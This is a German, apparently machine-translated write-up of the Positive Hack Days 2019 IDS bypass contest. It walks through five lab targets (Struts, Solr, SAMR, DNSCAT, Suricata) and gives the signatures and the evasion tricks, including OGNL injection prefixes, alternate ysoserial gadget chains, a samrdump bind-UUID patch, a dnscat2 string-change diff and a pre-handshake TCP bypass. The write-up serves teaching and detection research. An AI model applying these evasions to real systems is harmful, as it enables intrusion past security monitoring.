Auf dem internationalen Forum der Positive Hack Days 2019 fand der erste IDS Bypass-Wettbewerb statt. Die Teilnehmer mussten ein Netzwerksegment mit fünf Knoten untersuchen, dann entweder die Sicherheitsanfälligkeit des Dienstes ausnutzen oder die angegebene Bedingung erfüllen (z. B. eine bestimmte HTTP-Antwort senden) und so das Flag erhalten. Es war einfach, einen Exploit zu finden, aber IDS erschwerte die Aufgabe: Das System stand zwischen Teilnehmern und Knoten und überprüfte jedes Netzwerkpaket. Angreifer sahen auf dem Dashboard, ob die Signatur ihre Verbindung blockierte. Im Folgenden werde ich Sie detailliert über die Aufgaben selbst informieren und deren Lösung analysieren.
100.64.0.11 - Streben
Der erste Knoten in der Anzahl derer, die die Aufgabe gelöst haben, war Struts. Nach dem Scannen der Nmap-Ports finden wir den Apache Struts-Dienst auf Port 8080.

Die Sicherheitsanfälligkeit für Apache Struts ist 2017 ausgestorben: Mit der OGNL-Injektion konnte ein Angreifer jeden Code ohne Genehmigung auf Struts ausführen. Es gibt zum Beispiel einen Exploit auf
GitHub , aber IDS wird abgefangen:
[Drop] [**] [1:1001:1] Apache Struts2 OGNL inj in header (CVE-2017-5638) [**]
Der Signaturcode selbst steht den Teilnehmern nicht zur Verfügung, aber anhand der Meldung in den Protokollen können Sie den Mechanismus seiner Funktionsweise verstehen. In diesem Fall hat die Signatur eine OGNL-Injektion in HTTP erkannt:
GET /showcase.action HTTP/1.1 Accept-Encoding: identity Host: 100.64.0.11:8080 Content-Type: %{(
Wenn wir das Verhalten von IDS untersuchen, wird deutlich, dass es die Kombination% {am Anfang des Content-Type-Headers abfängt. Es gibt verschiedene Lösungen:
- Der Teilnehmer @empty_jack hat versucht, die Zeichenkombination% {mit seinem eigenen Wörterbuch zum Fuzzing zu brechen, und hat daher eine Lösung mit der Zeile Content-Type:% $ {gefunden.
- Fuzz die HTTP-Anfrage selbst. Member @ c00lhax0r hat festgestellt, dass das Nullzeichen am Anfang des Headers auch IDS: Content-Type: \ 0 $ {umgeht.
- Die meisten Exploits für CVE-2017-5638 führen eine Injektion mit einem Prozentzeichen durch. Einige Forscher dieser und früherer Apache Struts-Sicherheitslücken schreiben jedoch, dass die Injektion sowohl mit% als auch mit $ beginnen kann. Somit umgeht die Kombination von $ {die IDS-Signatur und führt den Code auf dem System aus. Eine solche Entscheidung war ursprünglich geplant.
Diese Aufgabe war die einfachste, sie wurde von acht Teilnehmern entschieden.
100.64.0.10 - Solr
Auf Port 8983 befand sich der in Java geschriebene Apache Solr-Server.
$ nmap -Pn -sV -p1-10000 100.64.0.10 22/tcp open ssh (protocol 2.0) 8983/tcp open http Jetty

Ein Exploit für Apache Solr 5.3.0 ist leicht zu finden -
CVE-2019-0192 . Ein Angreifer kann die Adresse eines RMI-Servers in einer Sammlung fälschen. Für den Betrieb ist das ysoserial-Framework erforderlich, das Ketten von Java-Objekten (Gadgets) generiert und auf verschiedene Arten bereitstellt. Zum Beispiel von einem JRMP-Server.
Bei Verwendung des Stirn-Exploits in der Stirn sehen die Teilnehmer natürlich, dass IDS-Signaturen ausgelöst werden:
[Drop] [**] [1:10002700:3001] ATTACK [PTsecurity] Java Object Deserialization RCE POP Chain (ysoserial Jdk7u21) [**]
Jdk7u21 ist nur eine von dreißig Lasten, und ihre Auswahl hängt von den Bibliotheken ab, die im anfälligen Dienst verwendet werden. Die Gadget-Kette Jdk7u21 verwendet nur die Standardklassen aus dem Java Development Kit Version 7u21, und die Kette CommonsCollections1 enthält Klassen aus den weit verbreiteten allgemeinen Apache-Sammlungen 3.1.
Der Angreifer ersetzt die Adresse des RMI-Servers in der Solr-Auflistung durch seine eigene und startet dann den JRMP-Server. Solr fordert ein Objekt an einer Adresse an und empfängt ein schädliches Java-Objekt. Nach seiner Deserialisierung wird der Code auf dem Server ausgeführt.
Die Signatur wird für eine Folge von Klassen in einem serialisierten Java-Objekt ausgelöst. Es wird vom Computer des Angreifers übertragen und im Verkehr wie folgt gestartet:

Die Lösung für dieses Problem war einfach. Die Signatur bezieht sich ausdrücklich auf Jdk7u21. Um das zu umgehen, mussten Sie andere Geräteketten ausprobieren. Zum Beispiel eine von CommonsCollections. Es gab keine Signaturen für andere Ketten in IDS. Der Teilnehmer erhält eine Shell auf dem System und liest das Flag. Fünf Teilnehmer haben die Aufgabe erledigt.
100.64.0.12 - SAMR
Eine der schwierigsten und interessantesten Aufgaben des Wettbewerbs. Dies ist ein Windows-Computer mit einem offenen 445. Port. Das Flag ist in die Namen von zwei Benutzern des Systems unterteilt. Um die Aufgabe abzuschließen, musste eine Liste aller Benutzer auf dem Windows-Knoten abgerufen werden.
Natürlich funktionierten MS17-010 und andere Exploits auf diesem Computer nicht. Benutzer
auflisten können beispielsweise Skripte aus
Nmap oder dem
Impacket- Framework sein:
$ python samrdump.py 100.64.0.12 Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Retrieving endpoint list from 100.64.0.12 [*] Trying protocol 445/SMB… Found domain(s): . SAMR . Builtin [*] Looking up users in domain SAMR [-] The NETBIOS connection with the remote host timed out. [*] No entries received.
In beiden Szenarien werden DCERPC-Anforderungen an den Computer an Port 445 gesendet. Aber nicht alles ist so einfach: Einige Pakete werden von IDS blockiert, und diesmal werden zwei Signaturen ausgelöst:
[**] [1:2001:2] SAMR DCERPC Bind [**]
[Drop] [**] [1:2002:2] SAMR EnumDomainUsers Request [**]
Der erste erkennt eine Verbindung zum SAMR-Dienst und kennzeichnet die TCP-Verbindung nur mit einem Flag. Die zweite wird durch die EnumDomainUsers-Anforderung für den SAMR-Dienst ausgelöst. Dieser Dienst bietet andere Möglichkeiten, um Benutzer abzurufen: QueryDisplayInfo, QueryDisplayInfo2, QueryDisplayInfo3. Alle von ihnen wurden auch durch Unterschriften blockiert.
Das DCERPC-Protokoll und die Windows-Dienste bieten enorme Möglichkeiten für die Remote-Standortverwaltung. Dieses Protokoll wird von den meisten bekannten Tools wie PsExec oder BloodHound verwendet. Mit dem SAMR-Dienst, dh SAM Remote Protocol, können Sie mit Konten auf dem Host arbeiten, einschließlich der Liste der Benutzer.
Um EnumDomainUsers Impacket anzufordern, gehen Sie wie folgt vor:

Eine DCERPC-Verbindung zum SAMR-Dienst wird über SMB hergestellt, und alle weiteren Anforderungen gehen in den Kontext dieses Dienstes. Signaturen arbeiten mit dem ersten und letzten Paket aus dem Screenshot.
Ich gab zwei Hinweise auf die Aufgabe:
- Ihre Versuche führen dazu, dass IDS 2 Warnungen generiert. Schau dir das erste genau an.
- Welche Verbindungsbefehle für dieses Protokoll kennen Sie?
Es geht um das DCERPC-Protokoll und darum, wie Verbindungen hergestellt werden. In der Liste der verfügbaren PDUs sind die Befehle Binden und Kontext ändern für das Verbinden und Ändern des Kontexts verantwortlich, und der zweite Befehl ermöglicht das Ändern des aktuellen Kontexts, ohne die Verbindung zu unterbrechen.
Um es zu lösen, musste die Logik des Samrdump-Skripts neu geschrieben werden:
- Binden Sie an einen anderen Dienst, z. B. mit der UUID 3919286a-b10c-11d0-9ba8-00c04fd92ef5.
- Verwenden Sie Kontext ändern, um zu SAMR zu wechseln.
- Anfrage an EnumDomainUsers senden.
Die Änderungen passen in drei Zeilen:
< dce.bind(samr.MSRPC_UUID_SAMR) --- > dce.bind(uuid.uuidtup_to_bin(("3919286a-b10c-11d0-9ba8-00c04fd92ef5", "0.0"))) > dce.alter_ctx(samr.MSRPC_UUID_SAMR) > dce._ctx = 1
Eine alternative Lösung wurde vom Gewinner des Wettbewerbs @ psih1337 vorgeschlagen. Die EnumDomainUsers-Abfrage gab eine Liste der Benutzer nicht nach Namen, sondern nach SID (Sicherheits-ID) zurück. SID ist keine Zufallszahl. Das LocalSystem-Konto verfügt beispielsweise über die SID S-1-5-18 und beginnt bei manuell erstellten Benutzern bei 1000.
Wenn die Samen manuell von 1000 bis 2000 sortiert werden, ist es sehr wahrscheinlich, dass die gewünschten Konten im System gefunden werden. Sie wurden unter den Seiten 1008 und 1009 gefunden.
Die Lösung dieser Aufgabe erforderte ein Verständnis des DCERPC-Protokolls und Erfahrung in der Erforschung von Windows-Infrastrukturen. @ psih1337 war der einzige, der es entschieden hat.
100.64.0.13 - DNSCAT
Auf Port 80 befindet sich eine Webseite mit einem Formular für eine IP-Adresse.

Wenn Sie Ihre IP angeben, erreicht UDP Port 53:
17:40:45.501553 IP 100.64.0.13.38730 > 100.64.0.187: 61936+ CNAME? dnscat.d2bc039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173) 17:40:45.501639 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209 17:40:46.520457 IP 100.64.0.13.38730 > 100.64.0.187: 21842+ TXT? dnscat.7f4e039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173) 17:40:46.520546 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209
Dies ist eindeutig DNSCAT, ein Tool für DNS-Tunnel. Nach Angabe der IP-Adresse im Formular versucht ein DNSCAT-Client, eine Verbindung herzustellen. Wenn dies erfolgreich ist, erhält der Server (dh der Teilnehmer) eine Shell auf dem Konkurrenzcomputer und zieht das Flag heraus.
Wenn wir nur den DNSCAT-Server hochfahren und versuchen, die Verbindung zu akzeptieren, schlagen wir natürlich fehl:
[Drop] [**] [1:4001:1] 'dnscat' string found in DNS response [**]
Die IDS-Signatur wird auf der dnscat-Leitung im Datenverkehr von unserem Server ausgelöst - dies ist in der Nachricht deutlich angegeben. Das Verschleiern oder Verschlüsseln des Datenverkehrs funktioniert ebenfalls nicht.
Wenn wir uns den Client-Code ansehen, stellen wir fest, dass die darin enthaltenen Checks nicht streng genug sind. Das heißt, die dnscat-Zeile wird möglicherweise überhaupt nicht in der Antwort angezeigt! Es bleibt nur, um es aus dem Code zu entfernen oder es im laufenden Betrieb durch das NetSED-Dienstprogramm zu ersetzen. Das sofortige Ersetzen ist viel einfacher, aber ich werde trotzdem einen Patch für den Servercode geben:
diff -r dnscat2/server/libs/dnser.rb dnscat2_bypass/server/libs/dnser.rb < segments << unpack("a#{len}") > segments << [unpack("a#{len}")[0].upcase] < name.split(/\./).each do |segment| > name.upcase.split(/\./).each do |segment| diff -r dnscat2/server/tunnel_drivers/driver_dns.rb dnscat2_bypass/server/tunnel_drivers/driver_dns.rb < response = (response == "" ? "dnscat" : ("dnscat." + response)) > response = (response == "" ? "dnsCat" : ("dnsCat." + response))
Für diesen Auftrag gab es beim Wettbewerb fünf Lösungen.
100.64.0.14 - POST
Die Flagge dieses Wettbewerbsfahrzeugs wurde von niemandem erhalten.

Wir sehen ein bekanntes Formular mit einer IP-Adresse. Jemand bietet uns an, am Testen einer neuen Malware teilzunehmen. Zu seinen Innovationen gehört die Umgehung von IDS auf unbekannte Weise. Für das Flag müssen Sie lediglich den HTTP-Header "Server: ng1nx" als Antwort senden. Es wird heiß sein.
Wie erwartet: Wir erhalten eine GET-Anfrage an unsere IP und senden eine Antwort, die von IDS blockiert wird.
[Drop] [**] [1:5002:1] 'ng1nx' Server header found. Malware shall not pass [**]
Es gibt einen Hinweis:
Manchmal sind Aufgaben, die schwierig aussehen, die einfachsten. Wenn nichts verletzlich erscheint, fehlt Ihnen vielleicht etwas direkt unter der Nase?
Etwas Verletzliches direkt vor unserer Nase ist IDS. Auf der Antwortseite können Sie feststellen, dass wir ein offenes Suricata-IDS haben.

Der erste Link in der Abfrage "Suricata IDS Bypass" führt zu
CVE-2018-6794 . Diese Sicherheitsanfälligkeit ermöglicht es, die Paketprüfung zu umgehen, wenn der normale Verlauf der TCP-Kommunikation (TCP-Handshake) verletzt wird und Daten gesendet werden, bevor der Prozess abgeschlossen ist. Es sieht so aus:
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server
Laden Sie den Exploit herunter, ändern Sie die Zeile in "ng1nx", deaktivieren Sie die Kernel-RST-Pakete und führen Sie sie aus.
Wie bereits erwähnt, erhielt niemand die Flaggen von dieser Maschine, obwohl einige Teilnehmer einer Lösung nahe waren.
Fazit
49 Teilnehmer haben sich für den Wettbewerb angemeldet, 12 haben mindestens eine Flagge bestanden. Es ist interessant, dass Wettbewerbsaufgaben mehrere Lösungen gleichzeitig haben können, insbesondere Aufgaben mit dem SMB- und DCERPC-Protokoll. Vielleicht haben Sie eigene Ideen, um einige Aufgaben zu erledigen?
Preise:
- 1. Platz: @ psih1337
- 2. Platz: @ webr0ck
- 3. Platz: @empty_jack
Signaturantwortstatistik:

Vielen Dank an alle Teilnehmer! Nächstes Jahr wird es noch mehr Aufgaben mit unterschiedlichen Schwierigkeitsgraden geben.
Gepostet
von Kirill Shipulin, Positive Technologies